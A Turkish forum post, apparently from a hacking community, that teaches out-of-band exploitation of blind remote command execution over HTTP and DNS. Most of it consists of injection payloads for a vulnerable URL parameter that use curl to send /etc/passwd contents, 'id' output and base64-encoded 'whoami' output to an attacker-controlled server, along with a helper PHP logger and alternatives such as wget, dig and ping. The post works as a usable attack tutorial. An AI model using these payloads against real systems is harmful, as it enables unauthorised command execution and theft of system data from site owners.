Out of Band Remote Command Execution

Cezeri

Yönetici
=> OOB (Out of Band) nedir ?
=> RCE ve OOB ilişkisi ?

  • HTTP/HTTPS ile Out of Band
  • DNS ile Out of Band
=> Demo Uygulama

1) OOB nedir ?

“Blind” olarak adlandırdığımız zafiyetlere bu ismin verilmesinin sebebi, bize herhangi bir çıktı üretmemeleridir. Yani zafiyet mevcut olmasına rağmen bunun varlığını hedef sitemiz üzerinde göremiyoruz veyahut dolaylı yollardan anlayabiliyoruz (Content-Length, StatusCode değişiklikleri vs). Böyle olduğu durumlarda çıkış noktalarımızdan birisi OOB (Out of Band) olabilmekte. Yani blind zafiyetlerde bir çıktı üretilemediği için çıktıyı bizim sunucumuza yönlendirip rahat bir şekilde çıktı alabiliyoruz ve bu işlemede “Out of Band” deniliyor. Out of Band işlemini DNS, HTTP, Samba, FTP vs. üzerinden gerçekleştirebiliriz. Bu yazı içerisinde HTTP ve DNS kullanılacaktır.


2) RCE ve OOB ilişkisi ?

Remote Command Execution zafiyeti blind olduğu durumlarda farklı yöntemler deneyebiliriz bunlardan bir taneside Out of Band kullanmaktır. Bu işlemi farklı şekillerde gerçekleştirebilirsiniz.

  • HTTP / HTTPS
Log dosyaları üzerinden HTTP istekleri ile veyahut herhangi bir port üzerinden Out of Band gerçekleştirebiliriz. Zafiyetli parametre üzerinden kendi sunucumuzun HTTP portuna (80) istek atacağız ve bu istek çekmek istediğimiz datayı içerecek.

/etc/passwd dosyasının içeriğini çekmek amacıyla şu şekilde bir istek gönderilebilir ;
vvHack.org/blindrce.php?parametre=$(cat /etc/passwd | curl -F ":data=@-" benimsitem.com:4444)

0c40a6a660e2c421d36d6512e17fdf03ea3614ca_2_658x500.png
0c40a6a660e2c421d36d6512e17fdf03ea3614ca.png

Benzer şekilde “id” komutunun çıktısı elde etmek için şöyle bir yol izleyebiliriz ;
vvHack.org/blindrce.php?parametre=$(curl benimsitem.com/$(id))
4c7697b932be29eea4211179c9838250d7d727c2_2_690x106.png
4c7697b932be29eea4211179c9838250d7d727c2.png


Sunucunuz üzerinde bir php dosyası oluşturup komutların çıktısını bu dosya üzerinden yazdırabilirsiniz.

0da36bb62dda3b4e41891ddc4af8d14d673d6b28.png

Şeklindeki yazdir.php dosyasını sunucunuza yükleyerek Blind Command Execution zafiyeti olan parametre üzerinde şöyle bir istek gönderebilirsiniz ;
vvHack.org/blindrce.php?parametre=$(curl benimsitem.com/yazdir.php?command=$(id))
Bu istek sonucunda “jonturk.txt” dosyası içerisine “id” komutunun çıktısı yazdırılacaktır.


2ae73d97e6ae9867d9f496431547e7542130e990_2_690x283.png
2ae73d97e6ae9867d9f496431547e7542130e990.png

  • DNS
DNS üzerinden data exfiltration yapılırken yapacağımız istekleri sunucumuza gönderirken bir subdomaine istek atar gibi davranacağız ve subdomain ismi olarak çekmek istediğimiz datanın içeriğini farklı şekillerde göndereceğiz.

Şöyle bir istek göndererek “whoami” komutunun çıktısını base64 ile encode ederek subdomain isteğinde bulunabiliriz ;
vvHack.org/blindrce.php?parametre=$(a=$(echo $(whoami) | base64) ; curl $a.benimsitem)
66006fe4a57b9906a4b1a310b7c9628e2a905bca_2_690x429.png
66006fe4a57b9906a4b1a310b7c9628e2a905bca.png


Benzer amaçlarla üretilmiş siteler bulunmaktadır, bu siteler üzerinden de yukarda anlattığım yöntemler ile DNS veyahut HTTP istekleri üzerinden işlemler gerçekleştirebilirsiniz. Bazı örnek siteleri şöyle bırakayım ;

3) Demo Uygulama

https://player.vimeo.com/video/286655035


Dipnot : Yukarıda değinmiştim, tekrar hatırlatayım. Bu işlemler sadece DNS veya HTTP üzerinden değil başka şekillerde de yapılabilir fakat konu uzamaması adına en çok kullanılan temel 2 yöntemi göstermeyi tercih ettim. Bu konularda sorunlarınız olursa belirtirseniz “Out of Band” için ayrıyeten detaylı bir konu açabiliriz.

Dipnot 2 : Yazı boyunca “curl” ile örnekler gösterdim fakat bunun üzerinde değişiklikler yapabilirsiniz. Alternatif olarak “wget” , “host” ," ping", “dig” , “whois” benzeri komutlar kullanılabilir.

Jonturk75 @ JRBops
 
Moderatör tarafında düzenlendi:
Üst